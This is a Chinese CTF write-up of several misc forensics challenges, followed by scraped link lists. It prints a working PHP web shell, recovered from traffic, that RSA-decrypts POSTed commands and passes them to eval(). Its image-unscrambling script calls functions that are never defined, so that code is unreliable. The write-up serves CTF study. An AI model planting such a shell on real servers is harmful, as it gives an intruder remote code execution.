楚慧杯Misc—复现
gza_CrackerCrack_me
追踪tcp流量

找到字典

保存字典,上流量一把梭

base64解密

特殊流量2
一把梭出个www.zip

打开,是个RSA
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);
公钥
回到一把梭,发现ZmxhZ的flag头

直接用内置的base64解密

flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.126.139 netmask 255.255.255.0 broadcast 192.168.126.255
inet6 fe80::2440:7aed:48c2:9f1c prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:24:00:8d txqueuelen 1000 (Ethernet)
RX packets 152907 bytes 33360002 (31.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 204935 bytes 100905582 (96.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1860 bytes 545117 (532.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1860 bytes 545117 (532.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
0fa99
/opt/lampp/htdocs/uploads
718a30
搞公钥

替换公钥
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcxPkExXQDSdke4
BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ5qKi7yN6zGVMUpQsV6kFs0GQV
krJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1JRAcfJSQCvaw6O8uq3wIDAQAB
再一把梭

发现U2,疑似AES

脚本爆破
import itertools
input_string = "xx34d619x1brxgd9mgd4xzxwxytv669w"
replace_chars = 'i7x'
indexes_of_x = [i for i, char in enumerate(input_string) if char == 'x']
replacement_combinations = itertools.product(
replace_chars, repeat=len(indexes_of_x))
with open('a.txt', 'w') as output_file:
for combination in replacement_combinations:
# Apply the combination to the original string
temp_list = list(input_string)
for idx, replacement in zip(indexes_of_x, combination):
temp_list[idx] = replacement
# Generate the final string
output_string = ''.join(temp_list)
# Write to the file
output_file.write(output_string + '\n')
print("All possible results have been written to a.txt")

拿字典用B神工具一把梭

得到 i734d619i1brigd9mgd4xz7w7ytv669w 和DeltaAlphaSierraCharlieTangoFoxtrotThreeFoxtrotDeltaThreeFourBravoFiveNineDash FourEchoNineDeltaDashFourThreeNineZeroDashNineTwoSevenBravoDashOneThree FourSixDeltaFiveThreeSixFourDeltaNineNine
拿去解AES得到flag 3fd34b59-4e9d-4390-927b-1346d5364d99
不良劫
对图片进行foremost发现⼆维码,但被污染

方法一:ps曲线处理3到4次,换上左上角的定位符,可扫
方法二:stegsolve先处理一下,然后window画图手动处理


另一半盲水印

拼接得DASCTF{014c6e74-0c4a-48fa-8b33-ced16f847e39}
PixMatrix
(flag.jpg)T => (PixMatrix.jpg)
flag.jpg PixMatrix.jpg
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
这⾥进行了⼀个8x8矩阵的转置操作,分析图片大小512x72可知,图片可以被分为8x8⼀组的矩阵进行置换
from PIL import Image
def divide(image_route):
picture = Image.open(image_route)
horizontal_span, vertical_span = picture.size
# 初始化⼀个列表,⽤于存储所有的 8x8 块
tiles = []
# 遍历图⽚,按 8x8 的块分割
for y_coordinate in range(0, vertical_span, 8): # 按⾏遍历
for x_coordinate in range(0, horizontal_span, 8): # 按列遍历
# 裁剪当前的 8x8 块
tile = picture.crop((x_coordinate, y_coordinate, x_coordinate + 8,
y_coordinate + 8))
tiles.append(tile)
return tiles, picture.size
def separate(tile):
sub_tiles = [
tile.crop((0, 0, 4, 4)), # 左上
tile.crop((4, 0, 8, 4)), # 右上
tile.crop((0, 4, 4, 8)), # 左下
tile.crop((4, 4, 8, 8)) # 右下
]
return sub_tiles
def interchange(sub_tiles):
sub_tiles[1], sub_tiles[2] = sub_tiles[2], sub_tiles[1]
return sub_tiles
def combine(sub_tiles):
new_tile = Image.new("RGB", (8, 8))
new_tile.paste(sub_tiles[0], (0, 0)) # 左上
new_tile.paste(sub_tiles[1], (4, 0)) # 右上
new_tile.paste(sub_tiles[2], (0, 4)) # 左下
new_tile.paste(sub_tiles[3], (4, 4)) # 右下
return new_tile
def manipulate(image_route, output_route):
tiles, original_dimensions = divide_photo_into_8x8_tiles(image_route)
processed_tiles = []
for tile in tiles:
sub_tiles = separate_8x8_into_4x4(tile)
sub_tiles = interchange_upper_right_lower_left(sub_tiles)
new_tile = combine_4x4_into_8x8(sub_tiles)
processed_tiles.append(new_tile)
store_processed_image(processed_tiles, original_dimensions,
output_route)
def store(tiles, original_dimensions, output_route):
# 将处理后的块重新组合成图⽚
new_picture = Image.new("RGB", original_dimensions)
tile_counter = 0
for y_coordinate in range(0, original_dimensions[1], 8):
for x_coordinate in range(0, original_dimensions[0], 8):
new_picture.paste(tiles[tile_counter], (x_coordinate,
y_coordinate))
tile_counter += 1
# 保存结果
new_picture.save(output_route)
image = "PixMatrix.jpg"
output = "flag.jpg"
manipulate_image(image, output)
print(f"处理完成,结果已保存到 {output}")

马赛克
from(落雨师傅)
AXIOM,搜索flag,发现flag.zip

还发现了个password.txt和readme.txt
全部用MemprocFS提取⼀下

文件损毁了

找到打乱txt

直接打开打乱.txt,没东西,010打开之后才发现加密了。 010打开拿到这个
f = open('./flag.zip','rb').read()
n = open('./new.zip','wb')
L=len(f)
for i in range(int(L/10)):
n.write(f[5*i:5*i+5])
n.write(f[L-5*i-5:L-5*i])
脚本修复
def extract_flag_data(enc_file_path, dec_file_path):
with open(enc_file_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
data_length = len(encrypted_data)
flag_bytes = bytearray(data_length)
for idx in range(data_length // 10):
start_flag_pos = 5 * idx
start_encrypted_pos = 10 * idx
flag_bytes[start_flag_pos:start_flag_pos + 5] =
encrypted_data[start_encrypted_pos:start_encrypted_pos + 5]
end_flag_start_pos = data_length - 5 * idx - 5
end_flag_end_pos = data_length - 5 * idx
flag_bytes[end_flag_start_pos:end_flag_end_pos] = encrypted_data[
start_encrypted_pos + 5:start_encrypted_pos + 10]
with open(dec_file_path, 'wb') as decrypted_file:
decrypted_file.write(flag_bytes)
print("output is here", dec_file_path)
enc_file_path = './flag.zip'
dec_file_path = './flag1.zip'
extract_flag_data(enc_file_path, dec_file_path)
修复成功 但是要密码

藏起来了?看看之前提取出来的password⽂件 发现密码被模糊了

用你强大的眼睛去瞪出来或者https://github.com/spipm/Depix这个工具去一下模糊

得到密码 ILIKEFORENSICS
解压后打开txt得到
REFTQ1RGe2RlYmVmMTBjLTA1YmItNGVhNy04ZDAxLWE1ZmRmMmEyNDZiN30-

楚慧杯Misc—复现的更多相关文章
- 百度杯 black_hole复现
在这次复现中,经历了太多挫折. 刚刚开始的时候本地调试 get不到shell,就很疑问,而且不会爆破,想学下怎么爆破出那个0x05, 后来问了位师傅 ,他说用retdl_solve 试试,我就跑去学了 ...
- 2021羊城杯比赛复现(Crypto)
bigrsa 题目: from Crypto.Util.number import * from flag import * n1 = 10383529640908175186077053551474 ...
- ISCC之misc复现-High起来!
题目是赛后经高人指点,跳过坑的,各位看官看看就好 文件下载下来是一张png图片,但是无法打开,估计要修复一下,文件头修复一下,png格式文件头89504EE7 打开是一张二维码,经过扫描后,得到一串中 ...
- 2021东华杯misc project
project 题目附件发现是工程文件,按日期排序只有一个新的exe文件,那考点肯定就在这了 编辑 运行exe生成了一个zip 编辑 打开解压缩的文件发现有三部分编码 base64 quote ...
- 津门杯WriteUP
最近很浮躁,好好学习 WEB power_cut 扫目录 index.php <?php class logger{ public $logFile; public $initMsg; publ ...
- CTF-i春秋网鼎杯第二场misc部分writeup
CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
- “百度杯”CTF比赛 2017 二月场(Misc Web)
爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...
- 百度杯 十一月 的一道pwn题复现
拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...
- [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)
简介 原题复现: 考察知识点:PHP弱类型. 线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露 下方都试了 ...
随机推荐
- [tldr] fish shell添加环境变量到配置文件
fish shell配置文件的编写格式和位置都和bash不同 文件位置 位于~/.config/fish/config.fish 设置PATH fish shell不会去读取~/.bashrc文件中的 ...
- Major、Minor、Build Number及Revision 版本号注解含义
版本号 版本号由二至四个部分组成:主版本号.次版本号.内部版本号和修订号. 主版本号和次版本号两个部分为必选,内部版本号和修订号两个部分为可选.只有在未定义内部版本号部分时,修订号部分才为可选.所有定 ...
- JOKER智能可视化平台 20250204版本更新说明
本次 JOKER 低代码平台更新涵盖了代码生成.环境变量.可视化开发工具等多个关键领域的优化与新增功能,致力于为开发者提供更高效.更安全.更便捷的开发体验.同时,服务端功能的正式发布以及核心升级,进一 ...
- 哈希表(实现 Python 中的集合 set)
博客地址:https://www.cnblogs.com/zylyehuo/ # -*- coding: utf-8 -*- class LinkList: class Node: def __ini ...
- 项目管理知识体系指南(PMBOK 指南)
项目管理知识体系指南(PMBOK 指南) 第6版--笔记项目管理十大知识领域,五大管理过程组,49个过程.如下表格:项目:项目的定义 : (Project Management Institute)项 ...
- BUUCTF---佛说:只能四天
题目 尊即寂修我劫修如婆愍闍嚤婆莊愍耨羅嚴是喼婆斯吶眾喼修迦慧迦嚩喼斯願嚤摩隸所迦摩吽即塞願修咒莊波斯訶喃壽祗僧若即亦嘇蜜迦須色喼羅囉咒諦若陀喃慧愍夷羅波若劫蜜斯哆咒塞隸蜜波哆咤慧聞亦吽念彌諸嘚嚴諦咒 ...
- Warning MVC1000
场景重现 视图文件中有些代码如下: @Html.Partial("_Footer") 会出现警告: // 警告 MVC1000 Use of IHtmlHelper.Partial ...
- nodejs参数的处理与用户的交互
解析脚本参数 作为脚本或者命令行工具,一般都需要支持不同的用户参数.默认参数被保存在process.argv的数组中,如下: [ nodeBinary, script, arg0, arg1, ... ...
- java一个校验对象是否为null的豪华大礼包
自写的校验所有类型是否为null的工具类, 懒人福音,嘎嘎好用. 1 /** 2 * 一个校验对象是否为null的豪华大礼包 3 * 可以校验:Collection,Map,String,Enumer ...
- 一句话秒建公网站!AI边缘计算颠覆传统开发
一句话就能让 AI 搭建一个公网可访问的完整网站: 短短几秒钟内,AI 便能完成所有构建操作: 这或许是目前全球最简便的建站方案: 本文使用的 AI 工具为腾讯云的 EdgeOne Pages MCP ...